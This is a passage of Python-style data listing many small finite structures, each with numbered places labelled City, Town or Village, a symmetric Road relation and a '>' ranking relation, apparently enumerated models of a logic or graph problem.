('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('3', '6'), ('9', '2'), ('7', '2'), ('8', '3'), ('5', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('2', '4'),
('1', '2'), ('2', '8'), ('3', '6'), ('7', '3'), ('9', '2'), ('5', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('3', '9'), ('1', '2'),
('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'),
('8', '3'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('3', '9'),
('2', '8'), ('1', '2'), ('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'),
('4', '3'), ('9', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'),
('8', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('8', '2'), ('3', '4'), ('3', '9'), ('2', '8'),
('1', '2'), ('5', '2'), ('2', '5'), ('3', '6'), ('4', '3'), ('7', '2'),
('9', '3'), ('2', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'), ('8', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('3', '6'), ('9', '2'), ('4', '3'),
('7', '3'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('3', '9'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('4', '3'), ('7', '2'),
('9', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '4'), ('3', '8'), ('1', '2'),
('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'), ('7', '2'), ('8', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('2', '8'), ('1', '2'), ('2', '6'), ('6', '2'), ('9', '2'), ('4', '3'),
('5', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('2', '8'),
('1', '2'), ('3', '6'), ('9', '2'), ('4', '3'), ('7', '2'), ('5', '3'),
('2', '7'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('1', '2'), ('1', '4'),
('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('4', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '4'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('4', '7'), ('1', '3'), ('8', '4'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('4', '7'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('5', '2'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '6'), ('3', '10'),
('10', '2'), ('2', '10'), ('8', '4'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '2'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'),
('3', '10'), ('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '2'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'),
('3', '10'), ('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '2'),
('4', '8'), ('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('4', '9'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'),
('3', '10'), ('10', '2'), ('2', '10'), ('8', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('8', '4'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('4', '6'), ('6', '4'),
('3', '10'), ('10', '2'), ('2', '10'), ('9', '3'), ('8', '4'), ('1', '3')},
